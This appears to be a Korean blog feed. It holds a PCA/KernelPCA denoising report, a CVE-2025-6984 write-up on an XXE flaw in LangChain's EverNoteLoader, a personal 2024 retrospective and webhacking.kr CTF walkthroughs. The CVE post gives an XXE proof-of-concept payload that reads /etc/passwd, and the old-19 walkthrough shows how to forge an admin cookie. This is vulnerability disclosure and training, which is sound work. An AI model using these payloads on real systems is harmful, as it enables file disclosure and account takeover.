<li><p><code>train_size=1000</code>, <code>test_size=100</code>, <code>stratify=y</code>, <code>random_state=0</code></p>
<ul>
<li>stratify로 각 숫자 클래스 비율 유지</li>
<li>1000/100은 “학습은 적당히, 시각화는 100장을 한 번에”한다는 뜻..</li>
</ul>
</li>
<li><p>가우시안 노이즈:</p>
<ul>
<li><code>noise ~ Normal(0, 0.25^2)</code></li>
<li>테스트/학습에 각각 독립 노이즈를 더합니다.</li>
</ul>
</li>
</ul>
<p><strong>MSE가 왜 약 0.06인가?</strong><br>노이즈만 생각하면, 각 픽셀에 대해 $\mathbb{E}[\epsilon^2] = \sigma^2$ 이므로  </p>
<p>$
\text{MSE} \approx 0.25^2 = 0.0625
$</p>
<p>이고 예제에서 보고되는 0.06과 비슷해집니다(표본 오차).</p>
<hr>
<h3 id="3-plot_digits-10x10-그리드로-100장-시각화">(3) <code>plot_digits</code>: 10x10 그리드로 100장 시각화</h3>
<ul>
<li><code>plt.subplots(nrows=10, ncols=10, figsize=(8,8))</code></li>
<li><code>img.reshape((16,16))</code> 해서 16x16 이미지로 복원해 보여줌</li>
</ul>
<p>왜 16x16?</p>
<ul>
<li>USPS는 16×16 픽셀 이미지(=256차원)로 제공됩니다.</li>
</ul>
<hr>
<h3 id="4-pca-vs-kernelpca-학습">(4) PCA vs KernelPCA 학습</h3>
<ul>
<li>PCA: <code>n_components=32</code></li>
<li>KernelPCA:<ul>
<li><code>n_components=400</code></li>
<li><code>kernel=&quot;rbf&quot;</code></li>
<li><code>gamma=1e-3</code></li>
<li><code>fit_inverse_transform=True</code></li>
<li><code>alpha=5e-3</code></li>
</ul>
</li>
</ul>
<p>핵심 포인트는 <strong>KernelPCA는 inverse_transform이 “학습된 근사 함수”</strong>라는 점입니다.<br><code>fit_inverse_transform=True</code>이면, “특징공간(커널 공간)에서의 저차원 좌표 → 원공간 이미지”로 되돌리는 함수를 <strong>추정</strong>합니다.</p>
<hr>
<h3 id="5-복원디노이징">(5) 복원/디노이징</h3>
<ul>
<li><p>PCA:</p>
<ul>
<li>$x \to z = W^T x$</li>
<li>$\hat x = W z + \mu$ (정확한 선형 복원)</li>
</ul>
</li>
<li><p>KernelPCA:</p>
<ul>
<li>$x \to z$ 는 커널 기반 투영</li>
<li>$\hat x$ 는 “pre-image” 근사 문제<br>→ <code>inverse_transform</code>이 바로 이 근사 복원을 수행</li>
</ul>
</li>
</ul>
<h4 id="예제-결과원문-수치">예제 결과(원문 수치)</h4>
<pre><code class="language-text">Noisy test images: MSE ≈ 0.06
PCA reconstruction: MSE ≈ 0.01
Kernel PCA reconstruction: MSE ≈ 0.03</code></pre>
<p>원문은 “PCA의 MSE가 더 낮지만, KernelPCA는 배경 노이즈를 더 없애 더 부드럽게 보일 수 있다”는 정성 분석을 함께 제공합니다.</p>
<hr>
<h2 id="b-2-b-q1q7-질문-답변">B-2. (B-Q1~Q7) 질문 답변</h2>
<h3 id="q1-왜-pca가-이미지-노이즈를-제거하는가">Q1. 왜 PCA가 이미지 노이즈를 제거하는가?</h3>
<p>전제가 하나 있습니다: <strong>신호는 저차원 구조(상관됨), 노이즈는 대체로 등방성(비상관)이고 분산이 작다</strong>.</p>
<ul>
<li>PCA는 분산이 큰 방향(주성분)을 남기고 작은 방향을 버립니다.</li>
<li>노이즈가 대체로 모든 방향에 골고루(등방성) 퍼져 있다면, “설명력이 낮은 방향”에 노이즈 성분이 많이 들어가고,</li>
<li>상위 k개 성분으로만 복원하면 그 버려진 방향의 노이즈가 함께 제거됩니다.</li>
</ul>
<p>즉, 디노이징은</p>
<p>$
\hat x = \mu + \sum_{i=1}^{k} z_i v_i
$</p>
<p>라는 <strong>저랭크 근사(low-rank approximation)</strong>로 이해할 수 있습니다.</p>
<hr>
<h3 id="q2-why-does-kernel-pca-sometimes-reconstruct-better-than-pca">Q2. Why does Kernel PCA sometimes reconstruct better than PCA?</h3>
<ul>
<li>PCA는 선형 부분공간(평면) 근사만 가능.</li>
<li>하지만 실제 이미지(숫자/얼굴)는 “조명/필기체 변화” 등으로 <strong>비선형 매니폴드</strong>를 이루는 경우가 많습니다.</li>
<li>KernelPCA는 커널 트릭으로 $\phi(x)$ 라는 고차원(혹은 무한차원) 특징공간에서 선형 PCA를 수행합니다.<br>원공간에서는 비선형 구조를 더 잘 펼쳐서(“선형화”) 저차원 표현으로도 더 좋은 복원이 가능해집니다.</li>
</ul>
<p>단, <strong>복원(inverse)</strong>은 PCA처럼 닫힌형이 아니라 “근사”이므로, 파라미터(γ, α 등)에 따라 성능이 크게 달라집니다.</p>
<hr>
<h3 id="q3-pre-image-문제란-무엇인가">Q3. pre-image 문제란 무엇인가?</h3>
<p>KernelPCA에서 투영은 특징공간 $\phi(x)$ 에서 이루어집니다.</p>
<ul>
<li>우리는 $z$ (커널 주성분 좌표)를 얻지만,</li>
<li>“ 그 $z$에 대응하는 원공간의 $x$ ”를 정확히 되찾는 것은 일반적으로 불가능합니다.</li>
</ul>
<p>즉,
$
z \mapsto \phi(x) \mapsto x
$
에서 마지막 역함수 $\phi^{-1}$ 가 없거나 계산 불가능한 상황이 <strong>pre-image problem</strong>입니다.</p>
<p>scikit-learn은 <code>fit_inverse_transform=True</code>에서 <strong>추정 문제(회귀)</strong>로 이를 근사해 해결합니다(예제는 “Learning to find pre-images”를 참고로 듭니다).</p>
<hr>
<h3 id="q4-why-does-kernel-pca-sometimes-have-lower-mse-but-higher-visual-quality">Q4. Why does Kernel PCA sometimes have lower MSE but higher visual quality?</h3>
<p>(질문 문장 자체는 “둘 다 좋아짐”이라 모순은 없지만, 실제로는 아래 두 현상이 모두 가능합니다.)</p>
<p>1) <strong>MSE와 시각 품질이 같이 좋아지는 경우</strong><br>   KernelPCA가 매니폴드 구조를 잘 잡아 “진짜 숫자 모양”을 더 잘 복원하면</p>
<ul>
<li>픽셀 오차(MSE)도 감소</li>
<li>구조(획/윤곽)도 또렷<br>이때는 둘이 같이 개선됩니다.</li>
</ul>
<p>2) <strong>MSE는 낮은데, 시각적으로는 별로인 경우(혹은 반대)</strong>  </p>
<ul>
<li>MSE는 픽셀 단위 평균제곱오차라, 사람이 중요하게 보는 “획의 선명도/구조”와 1:1로 맞지 않습니다.</li>
<li>어떤 방법은 배경을 매끈하게 만들어 MSE를 줄이지만(노이즈 제거), 중요한 획을 조금 흐리게 만들 수 있습니다.</li>
<li>반대로, 획을 선명하게 복원해 사람이 보기엔 좋은데, 픽셀 레벨로는 작은 오차들이 남아 MSE가 높을 수도 있습니다.</li>
</ul>
<hr>
<h3 id="q5-what-is-the-geometry-of-kernel-pca">Q5. What is the geometry of Kernel PCA?</h3>
<p>KernelPCA의 기하학은 “<strong>특징공간에서의 PCA</strong>”입니다.</p>
<p>1) 커널 정의: $k(x,x&#39;) = \langle \phi(x), \phi(x&#39;) \rangle$
2) 훈련 샘플로 커널 행렬 $K$ 구성 후 중심화(center)
3) 고유분해:</p>
<p>$
K_c \alpha_j = n\lambda_j \alpha_j
$</p>
<p>4) 새로운 점의 j번째 좌표는</p>
<p>$
z_j(x) = \sum_{i=1}^{n} \alpha_{ij} ; k_c(x_i, x)
$</p>
<p>즉, 원공간에서 보면 <strong>비선형으로 휘어진 좌표계</strong>를 학습해 저차원으로 펼치는 것과 같습니다.<br>RBF 커널은 특히 “가까운 점들”의 관계를 강조하는 국소적(로컬) 기하를 만듭니다.</p>
<hr>
<h3 id="q6-why-does-pca-use-fewer-components-32-but-kernel-pca-uses-400">Q6. Why does PCA use fewer components (32) but Kernel PCA uses 400?</h3>
<p>핵심 차이 3가지:</p>
<p>1) <strong>선형 PCA는 보통 ‘적은 성분’으로도 큰 분산을 설명</strong><br>   숫자 이미지는 상관이 커서 상위 32개 PC만으로도 꽤 많은 구조를 담을 수 있습니다.</p>
<p>2) <strong>KernelPCA의 성분은 ‘샘플 수’에 의해 제한</strong><br>   KernelPCA는 (n_samples × n_samples) 커널 행렬의 고유벡터를 쓰므로, 성분 수는 최대 n_samples입니다.<br>   예제는 train이 1000이므로 400을 택해 “비선형 표현력을 충분히” 확보합니다.</p>
<p>3) <strong>inverse_transform이 근사라서 성분 수가 너무 적으면 복원이 급격히 나빠질 수 있음</strong><br>   KernelPCA는 “좌표→원공간” 복원을 회귀로 근사하는데, 좌표 자체가 지나치게 압축되면 원공간 복원이 불안정합니다.</p>
<hr>
<h3 id="q7-how-do-γ-gamma-α-alpha-n_components-affect-kernel-pca-quality">Q7. How do γ (gamma), α (alpha), n_components affect kernel PCA quality?</h3>
<h4 id="1-γ-gamma-커널-폭길이-척도">(1) γ (gamma): 커널 폭(길이 척도)</h4>
<ul>
<li>RBF: $k(x,x&#39;) = \exp(-\gamma |x-x&#39;|^2)$</li>
<li>γ가 <strong>작으면</strong>: 커널이 “넓다” → 멀리 있는 점도 비슷하게 봄 → 전역적으로 부드러운 표현(언더핏 위험이 잇슴)</li>
<li>γ가 <strong>크면</strong>: 커널이 “좁다” → 가까운 점만 영향 → 매우 복잡한 표현(오버핏/노이즈 학습 위험)</li>
</ul>
<h4 id="2-α-alpha-inverse_transform프리이미지-근사의-정규화-강도">(2) α (alpha): inverse_transform(프리이미지 근사)의 정규화 강도</h4>
<ul>
<li><code>fit_inverse_transform=True</code>일 때, scikit-learn은 inverse mapping을 <strong>ridge regression(L2 정규화)</strong>로 학습합니다.</li>
<li>α가 <strong>작으면</strong>: 학습 데이터를 과하게 따라가며 노이즈까지 맞출 수 있음(불안정)</li>
<li>α가 <strong>크면</strong>: 너무 매끈해져 디테일이 사라질 수 있음(underfit)</li>
</ul>
<h4 id="3-n_components-유지할-커널-주성분-수">(3) n_components: 유지할 커널 주성분 수</h4>
<ul>
<li>작을수록: 더 강한 압축 → 노이즈 제거엔 유리할 수 있으나 디테일 손실</li>
<li>클수록: 복원력↑ 하지만 노이즈도 다시 살릴 위험↑ + 계산비용↑</li>
</ul>
<hr>
<h2 id="b-3-재밋게-파라미터-변화-실험">B-3. 재밋게 파라미터 변화 실험</h2>
<p>USPS 대신 <code>load_digits</code>(8×8=64차원)를 사용해 같은 절차를 실행해 보았습니다.</p>
<h3 id="b-3-1-기본-디노이징-성능내장-digits-노이즈-σ025">B-3-1) 기본 디노이징 성능(내장 digits, 노이즈 σ=0.25)</h3>
<ul>
<li>train 300 / test 100</li>
<li>결과(MSE):<ul>
<li>noisy: <strong>0.06099</strong></li>
<li>PCA(32) 복원: <strong>0.03792</strong></li>
<li>KernelPCA(RBF) 복원: <strong>0.02314</strong></li>
</ul>
</li>
</ul>
<p>→ KernelPCA가 더 낮은 MSE로 복원한 사례(매니폴드/비선형성 이점).</p>
<hr>
<h3 id="b-3-2-γ-변화-실험고정-n_components50-alpha1e-2-train-200--test-100">B-3-2) γ 변화 실험(고정: n_components=50, alpha=1e-2, train 200 / test 100)</h3>
<ul>
<li>γ=1e-3 → MSE <strong>0.06967</strong> (오히려 악화: 커널이 너무 넓어 구조를 못 잡음)</li>
<li>γ=1e-2 → MSE <strong>0.02437</strong> (개선)</li>
<li>γ=1e-1 → MSE <strong>0.02678</strong> (약간 악화: 너무 국소적/노이즈 영향 가능)</li>
</ul>
<p>*<em>그러니까 *</em> γ는 “너무 작아도/커도” 망가지고, 데이터 스케일에 맞는 적정 폭이 필요합니다.</p>
<hr>
<h3 id="b-3-3-n_components-변화-실험고정-gamma1e-2-alpha1e-2">B-3-3) n_components 변화 실험(고정: gamma=1e-2, alpha=1e-2)</h3>
<ul>
<li>10 → <strong>0.03211</strong></li>
<li>30 → <strong>0.02608</strong></li>
<li>50 → <strong>0.02437</strong></li>
</ul>
<p>성분 수를 늘리면 복원력은 좋아지지만(오차 감소), 너무 늘리면 노이즈까지 복원될 수 있어 “적정점”을 찾아야 합니다.</p>
<hr>
<h3 id="b-3-4-α-변화-실험고정-gamma1e-2-n_components50">B-3-4) α 변화 실험(고정: gamma=1e-2, n_components=50)</h3>
<ul>
<li>α=1e-3 → <strong>0.03799</strong> (불안정/과적합 가능)</li>
<li>α=1e-2 → <strong>0.02437</strong> (가장 좋음)</li>
<li>α=1e-1 → <strong>0.04890</strong> (과도한 정규화로 복원력 저하)</li>
</ul>
<hr>
<h1 id="결론">결론</h1>
<p>1) <strong>Eigenfaces는 “얼굴 데이터의 주된 변동 패턴”을 저차원 기저로 만든 것</strong>이며, 분류기는 그 좌표(계수) 공간에서 학습됩니다.<br>2) PCA는 <strong>차원 축소 + 노이즈 억제 + 상관 제거</strong>로 고차원 이미지 문제를 전통 ML 모델이 다룰 수 있게 만듭니다.<br>3) Whitening은 거리 기반 모델의 등방성 가정에 도움을 줄 수 있지만, <strong>항상 이득이 아니며</strong> 데이터/노이즈 구조에 따라 성능을 깎을 수도 있습니다.<br>4) 디노이징에서 KernelPCA는 <strong>비선형 매니폴드</strong>를 더 잘 따라가 복원이 좋아질 수 있지만, inverse_transform이 <strong>pre-image 근사 문제</strong>이므로 (γ, α, n_components) 튜닝이 성능을 좌우합니다.</p>
<hr>
<h2 id="참고원문-예제문서">참고(원문 예제/문서)</h2>
<p>보고서작성할 때 읽은 닥스들입니다.</p>
<pre><code class="language-text">scikit-learn Eigenfaces example:
https://scikit-learn.org/stable/auto_examples/applications/plot_face_recognition.html

scikit-learn Denoising using kernel PCA example:
https://scikit-learn.org/stable/auto_examples/applications/plot_digits_denoising.html

PCA API:
https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.PCA.html

KernelPCA API:
https://scikit-learn.org/stable/modules/generated/sklearn.decomposition.KernelPCA.html</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[[CVE-2025-6984] langchain XXE vuln]]></title>
            <link>https://velog.io/@ki--mh/CVE-2025-6984-langchain-XXE-vuln</link>
            <guid>https://velog.io/@ki--mh/CVE-2025-6984-langchain-XXE-vuln</guid>
            <pubDate>Fri, 12 Sep 2025 07:20:43 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>Keyword : XXE, EverNoteLoader, XML</p>
</blockquote>
<h2 id="vuln-description">Vuln Description</h2>
<p><code>langchain-ai/langchain-community</code> 의 <code>evernote.py</code> 에서 문서 로더로 EverNoteLoader를 사용함.</p>
<p>해당 로더는 <code>langchain-ai/langchain-community</code> 의 종속 문서 로더로 XML파싱을 지원.</p>
<p><strong>etree.iterparse()</strong> 호출 시에 외부 <strong>엔티티 참조를 비활성화하지 않기 때문</strong>에 XEE 취약점이 발생.</p>
<h2 id="vuln-version">Vuln Version</h2>
<p><code>langchain-ai/langchain-community 0.3.63</code></p>
<h2 id="what-is-xxe-vuln">What is XXE vuln</h2>
<p>XXE(XML eXternal Entity) 취약점은 XML 데이터를 제대로 검증하지 않아 공격자가 XML 데이터를 가져올 때 시스템의 중요한 파일이 조회 가능한 취약점임. (Security Misconfiguration)</p>
<h2 id="about-xml">About XML</h2>
<h3 id="xml-def">XML Def.</h3>
<ul>
<li>W3C에서 개발된, 마크업언어를 만드는데 사용하는 다목적 마크업 언어로 응용프로그램에서 문서를 유연하게 전송하고 저장하도록 설계된 언어를 말함.</li>
</ul>
<h3 id="xml-keywords">XML Keywords</h3>
<ul>
<li>Markup&amp;content : XML은 마크업(&lt; , &gt; , &amp;, ;)과 내용(마크업제외 문자)으로 구성된다.</li>
<li>Tag : &lt;<code>element</code>&gt; ← 이런 마크업 구조를 tag라고 함.</li>
<li>Entity : XML 변수로 ‘&amp;’, ‘;’ 로 감싸져 있음. (&today;)</li>
<li>등등</li>
</ul>
<h3 id="xml-dtd">XML DTD</h3>
<ul>
<li>XML DTD(Document Type Definition)는 XML 문서의 구조, 포함될 수 있는 데이터 값, 유형 및 기타 항목을 정의할 수 있음.</li>
<li>DTD는 문서 자체 내에 완전히 자체적으로 정의(내부 DTD)하거나 다른 곳에서 로드하는 외부 DTD 방식 모두를 사용할 수 있음</li>
</ul>
<h3 id="xml-external-entity">XML External Entity</h3>
<ul>
<li>XML 외부 엔티티는 선언된 DTD 외부에 정의가 있는 사용자 지정 엔티티 유형을 말함</li>
<li>외부 엔티티 선언에는 키워드를 사용하며 <code>SYSTEM</code> 엔터티를 사용해 URL을 지정할 수 있음(해당 CVE 발생 포인트)</li>
</ul>
<h2 id="vuln-details">Vuln Details</h2>
<h3 id="attack-surfacecode">Attack surface(code)</h3>
<p><a href="https://api.python.langchain.com/en/latest/document_loaders/langchain_community.document_loaders.evernote.EverNoteLoader.html#langchain_community.document_loaders.evernote.EverNoteLoader.lazy_load">langchain_community.document_loaders.evernote.EverNoteLoader.lazy_load</a></p>
<pre><code class="language-python"># langchain_community/document_loaders/evernote.py
def _lazy_load(self) -&gt; Iterator[Document]:
    for note in self._parse_note_xml(self.file_path):  # here is call _parse_note_xml()
        if note.get(&quot;content&quot;) is not None:
            yield Document(
                page_content=note[&quot;content&quot;],
                metadata={
                    **{
                        key: value
                        for key, value in note.items()
                        if key not in [&quot;content&quot;, &quot;content-raw&quot;, &quot;resource&quot;]
                    },
                    **{&quot;source&quot;: self.file_path},
                },
            )</code></pre>
<pre><code class="language-python"># langchain_community/document_loaders/evernote.py
 @staticmethod
    def _parse_note_xml(xml_file: str) -&gt; Iterator[Dict[str, Any]]:
        &quot;&quot;&quot;Parse Evernote xml.&quot;&quot;&quot;
        # Without huge_tree set to True, parser may complain about huge text node
        # Try to recover, because there may be &quot;&amp;nbsp;&quot;, which will cause
        # &quot;XMLSyntaxError: Entity &#39;nbsp&#39; not defined&quot;
        try:
            from lxml import etree
        except ImportError as e:
            logger.error(
                &quot;Could not import `lxml`. Although it is not a required package to use &quot;
                &quot;Langchain, using the EverNote loader requires `lxml`. Please install &quot;
                &quot;`lxml` via `pip install lxml` and try again.&quot;
            )
            raise e

        context = etree.iterparse(
            xml_file, encoding=&quot;utf-8&quot;, strip_cdata=False, huge_tree=True, recover=True
        ) #외부 엔티티 비활성화 X

        for action, elem in context:
            if elem.tag == &quot;note&quot;:
                yield EverNoteLoader._parse_note(elem)</code></pre>
<h3 id="reasons-for-vulnerability">Reasons for Vulnerability</h3>
<p><a href="https://lxml.de/api/lxml.etree.iterparse-class.html">https://lxml.de/api/lxml.etree.iterparse-class.html</a></p>
<pre><code class="language-markdown">Available boolean keyword arguments:
    attribute_defaults: read default attributes from DTD
    dtd_validation: validate (if DTD is available)
    load_dtd: use DTD for parsing
    no_network: prevent network access for related files
    remove_blank_text: discard blank text nodes
    remove_comments: discard comments
    remove_pis: discard processing instructions
    strip_cdata: replace CDATA sections by normal text content (default: True)
    compact: safe memory for short text content (default: True)
    resolve_entities: replace entities by their text value (default: True)
    huge_tree: disable security restrictions and support very deep trees
    and very long text content (only affects libxml2 2.7+)
    html: parse input as HTML (default: XML)
    recover: try hard to parse through broken input (default: True for HTML,
    False otherwise)
Other keyword arguments:
    encoding: override the document encoding
    schema: an XMLSchema to validate against</code></pre>
<p>취약한 코드에서 사용한 arguments는 <code>encoding=&quot;utf-8&quot;, strip_cdata=False, huge_tree=True, recover=True</code> </p>
<ol>
<li><code>resolve_entities</code> argument는 엔티티를 치환해주는 argument로, 기본 값이 True</li>
<li><code>huge_tre=True</code> 엔티티 확장 제한(보안제한) 허용</li>
</ol>
<p>즉, resolve_entities를 False로 명시하지 않아 XML에 외부 엔티티 선언시 그대로 확장/로딩 하여 가져와 /etc/passwd를 SYSTEM 엔터티로 로드할 수 있어 취약점 발생</p>
<h3 id="proof-of-conceptpoc">Proof of Concept(PoC)</h3>
<pre><code class="language-xml">//payload.xml
&lt;!--?xml version=&quot;1.0&quot; ?--&gt;
&lt;!DOCTYPE foo [&lt;!ENTITY example SYSTEM &quot;/etc/passwd&quot;&gt; ]&gt;
&lt;note&gt;
    &lt;content&gt;&amp;example;&lt;/content&gt;
&lt;/note&gt;</code></pre>
<pre><code class="language-python"># 서버가 해당 코드로 XML을 파싱할 때 취약점이 트리거 됨.
from langchain_community.document_loaders import EverNoteLoader

if __name__ == &quot;__main__&quot;:
    loader = EverNoteLoader(
        &quot;./payload.xml&quot;
    )
    print(loader.load())</code></pre>
<h3 id="impact">Impact</h3>
<p>공격자가 로컬 파일 참조 혹은 SSRF를 악용하는 악성 XML 페이로드를 제작하여 비인가 데이터 노출을 유발할 수 있음.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[회고回顧]]></title>
            <link>https://velog.io/@ki--mh/%ED%9A%8C%EA%B3%A0%E5%9B%9E%E9%A1%A7</link>
            <guid>https://velog.io/@ki--mh/%ED%9A%8C%EA%B3%A0%E5%9B%9E%E9%A1%A7</guid>
            <pubDate>Tue, 31 Dec 2024 09:37:34 GMT</pubDate>
            <description><![CDATA[<p>2024년도는 내 스스로 증명하고자하는 해였다.
때문에, 2024년의 회고는 후회로 가득하지 않을까하며 회고를 시작해본다.</p>
<p>한 학부의 부학생회장으로서 시작하여 여러 바쁜 일들을 쳐내고 일로 엮이며 서로 옳은 것을 주장하며 감정 상했던 일들이 가장 먼저 떠오른다. 치열하게 열심히 싸운 것에 후회는 없지만, 때때로는 조금 더 현명하게 말할 수 있었지 않나하는 생각 또한 지우지 못하겠다.</p>
<p>부학생회장 일 때문에 바빴다. 라는 속편한 핑계가 생각보다 많은 일들의 이유가 된 한 해다.</p>
<p>이번년도 이루고자 했던 인공지능 대회 대상, 회사 취업, ASC회장으로서의 자격을 하나도 이루지 못했다.</p>
<p>&quot;열심히 했다.&quot;는 결과를 동반할 때 들을 수 있는 말이라고 개인적으로 생각한다. 늘 누군가에게 열심히 살아야지! 라고 말하는 내가 막상 까보니 열심히 살지 않은 것은 필히 반성할만한 결과이다.</p>
<p>학교 학점도 커리어로우를 찍었다. 이상한 일이다. 바쁘다고 했는데, 가장 기본적인 것을 못 챙겼다. 2025년도는 학교 학점 부터 챙기도록 하겠다..</p>
<p>학교 외적으로는 AI 보안 연구와 ASC를 하며 보안 공부, 인공지능 공부를 조금 했다.</p>
<p>AI 보안 연구 과제는 이제 논문 리뷰를 기다리고 있고, 관련해서 특허도 제출 중에 있다. 사실 국방과제이기 때문에 뒤따라오는 실적이 필요하기 때문임을 안다. (그래서 이번 년도에 받은 학회 우수논문상도 받은 것 같다.)</p>
<p>하지만 그 과정에서 배운 논문을 작성하는 방법, 특허를 작성하는 방법, SW 등록을 하는 방법 등 학부생이 쉬이 배울 수 없는 경험을 한 것이 랩실에서 있었던 가장 가치있는 경험들이었다.</p>
<p>ASC는 많은 것을 준비했고, 많이 어그러졌다. 준비한대로 되지 않음을 알지만 &quot;내가&quot; 보안 에 대해 그리 뛰어나지 않기에 남에게 기대어야 했던 순간이 많았다. 이런 순간들에서 괴롭지 않기 위해 증명해야 했는데 그러지 못했다. 가장 아픈 손가락이면서 내년에 ASC회장을 하고 싶지 않은 이유일 것이다.</p>
<p>스터디는 제대로 커리가 끝난적이 없으며, 세미나는 중간에 중단되었고, 프로젝트는 진행도가 처참하다. 사실 내가 뛰어났다면 내가 맡을 스터디는, 내가 맡은 프로젝트는 잘 끝났을 것이다. 하지만, 그렇지않기에 회사에 다니며 시간을 동아리 외에 쏟으면 돈을 더 버는 운영진, 멘토진에게 기댄 것이다. 이게 가장 큰 나의 1년의 괴로움이었다. </p>
<p>괴로움이라 하면서 그리 큰 발전이 없었던 것이 문제아닐까 싶은 2024년도다. 물론 아예 없었던 것은 아니다. CTFTimes의 CTF를 일단 나가며 대가리도 깨져봤고, 나름 같이 대회를 나갔을 때 문제도 풀었다. 발전했지만 너무 미약하여 한숨만 나오는 수준이라는게 슬픈 사실이다.</p>
<p>인공지능 공부는 순항이었다. LLM fine-tune을 좀 제대로 하기 시작했다. 여기서 풀지는 못하겠지만, 나중에 프로젝트가 완성되면 회고할 수 있을 것 같다.</p>
<p>사실 인공지능의 영역은 공부보단 대회 수상에 있었는데, 이게 제대로 이루어지지 않았다. 2학년 1학기, 3학년 전선 과목인 인공지능을 땡겨들으며 정민영 교수님께 잘보였는지 랩실 러브콜을 받았다. 이게 조금 화근이었나 나 잘해 라는 생각이 무의식에 박혔는지 좀 더 열정있게 대회에 참여한게 없었다.</p>
<p>참가한 대회 개수도 절대적으로 부족하였고, 참가한 대회에서 열심히 한 일은 더 드물었다. 안좋은 버릇이 들어버린 것 같아 2025년도에는 상반기 내에 장관급 대상을 타는 것이 목표 삼았다.</p>
<p>&quot;너정도면 다른 애들에 비해서 잘해.&quot;라는 말이 참 독약이다. 이 말에 조금 취해있으면, 어느새 내 주변의 잘하는 애들을 보며 스스로 모멸감을 느낀다. 본래 마인드는 &quot;너가 언제까지 다른 애들에 비해서 잘할 것 같아 ?&quot;가 되어야 하는데, 그러지 못했다.</p>
<p>사실 이제 마지막 기회이다. 인턴을 시작하고, 내 실력을 조금 더 키울 수 있는 시기를 놓치지 않을 기회말이다. 2025년도의 목표는 2024년도와 똑같다. 음, 이렇게 목표 설정만 놓고 보니 1년을 버렸다는 생각을 떨칠 수가 없다.</p>
<p>내년의 회고를 보며 후회보다는 과정을 풀 수 있도록 아래의 목표를 정의해본다.</p>
<ol>
<li>상반기 인공지능 대회 대상</li>
<li>AISec으로 누구나 인정할만한 실적내기</li>
<li>보안 분야에서 얘 괜찮게 해 정도의 소리는 듣기</li>
<li>좋은 주제를 잡고, 높은 티어의 논문을 내기 위한 준비</li>
<li>상반기 내에 취업</li>
</ol>
<p>이번 년도를 끝내며 가장 많이 떠오르는 말은 스토브 리그에서 나온 대사다.</p>
<blockquote>
<p>&quot;각자가 가진 무기 가지고 싸우는 건데, 핑계대기 시작하면 똑같은 상황에서 또 집니다.&quot; </p>
</blockquote>
<p>이번 년도는 핑계만 대다가 포기하고, 실패한 것들이 너무 많다. 
조금은 달라질 2025년도의 회고를 기대하며 2024의 회고를 마친다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old19]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKING-old19</link>
            <guid>https://velog.io/@ki--mh/WEBHACKING-old19</guid>
            <pubDate>Sat, 10 Aug 2024 22:18:28 GMT</pubDate>
            <description><![CDATA[<h1 id="old-19">old-19</h1>
<p>들어가니 admin이 입력되어있다. submit 해본다. 될 리가 없다 ㅋㅋ</p>
<p>그 외엔 어떤 아이디도 다 로그인 되길래 흠냐링 하며 editthiscookie를 습관성으로 켜준다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/f6f606a7-8c66-4f0d-a7e9-ffc69d1c9670/image.png" alt=""></p>
<p>id가 계속 변하는 건가 하는 마음가짐에 로그아웃 하고 다른 거로 로그인 하려는데, 로그아웃이 안된다. 이럴 때는 burp suite 켜주고 리피터로 전환 해준다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/cc6a5117-e3fd-4938-8ac3-06bfdf9490ae/image.png" alt=""></p>
<p>ad 쳐봤는데 세상에나 한 글자씩 base64 encoding 해서 넘겼나보다 길이가 2배 늘어났다.</p>
<p>근데 %3D 인거 보니, 마지막에 url 인코딩 한 것 같다.</p>
<p>대충 각각 글자로 로그인하고 url decoding→ base64 decoding 해보자.</p>
<pre><code class="language-python">#url decoding
MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjE= #a
ODI3N2UwOTEwZDc1MDE5NWI0NDg3OTc2MTZlMDkxYWQ= #d
NmY4ZjU3NzE1MDkwZGEyNjMyNDUzOTg4ZDlhMTUwMWI= #m
ODY1YzBjMGI0YWIwZTA2M2U1Y2FhMzM4N2MxYTg3NDE= #i
N2I4Yjk2NWFkNGJjYTBlNDFhYjUxZGU3YjMxMzYzYTE= #n

#base64 decoding
0cc175b9c0f1b6a831c399e269772661 #a
8277e0910d750195b448797616e091ad #b
6f8f57715090da2632453988d9a1501b #m
865c0c0b4ab0e063e5caa3387c1a8741 #i
7b8b965ad4bca0e41ab51de7b31363a1 #n
</code></pre>
<p>음 32 byte 문자열이다. 감다살로 이건 무조건 md5니 n 하나만 확인해줬다.</p>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/e41861b3-31fd-43c4-b9b6-73abdd09078b/image.png" alt=""></p>
<p>문제가 어떻게 구성되었는지 확인했으니 시나리오는</p>
<ol>
<li>admin 문자열을 하나나하나 md5 encode 한다.</li>
<li>md5 encode 문자열을 base64 encode 한다.</li>
<li>base64 encode 문자열을 url encode 한다.</li>
<li>쿠키 변조한다.</li>
</ol>
<p>하나 하나 돌리기 귀찮으니 코드 스근하게 짜준다.</p>
<pre><code class="language-python">import hashlib
import base64
import urllib.parse

text = &quot;admin&quot;

for i in text:
    md5Encode = hashlib.md5(i.encode()).hexdigest()
    print(md5Encode, end=&quot;&quot;)
    #0cc175b9c0f1b6a831c399e2697726618277e0910d750195b448797616e091ad6f8f57715090da2632453988d9a1501b865c0c0b4ab0e063e5caa3387c1a87417b8b965ad4bca0e41ab51de7b31363a1</code></pre>
<p><img src="https://velog.velcdn.com/images/ki--mh/post/a66b808d-b494-47d6-9613-0471096181f1/image.png" alt=""></p>
<p>burp suite에서 md5 encode한 문자열 url encode 해서 editthiscookie로 변조하면 잘 풀린다.</p>
<ul>
<li>url encode 하기 전에 base64 문자열의 == 을 %3D%3D로 바꿔서 해도 문제는 풀린다. 똑같음.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[WEBHACKINGKR-old58]]></title>
            <link>https://velog.io/@ki--mh/WEBHACKING-old58</link>
            <guid>https://velog.io/@ki--mh/WEBHACKING-old58</guid>
            <pubDate>Sat, 10 Aug 2024 21:07:31 GMT</pubDate>
            <description><![CDATA[<h1 id="old-58">old-58</h1>
<p>FLAG🏴 : {■■■■■■■■■■■■■■■■■■■}</p>
<p>들어가니 웹 쉘 느낌의 프롬프트(?)가 있다.</p>
<p>아무거나 드르륵 쳐보면 뭔 죄다 없는 명령어라고 한다. help 치니까</p>
<p><code>ls, id, flag, help</code>  정도만 칠 수 있도록 되어있음을 알 수 있다.</p>
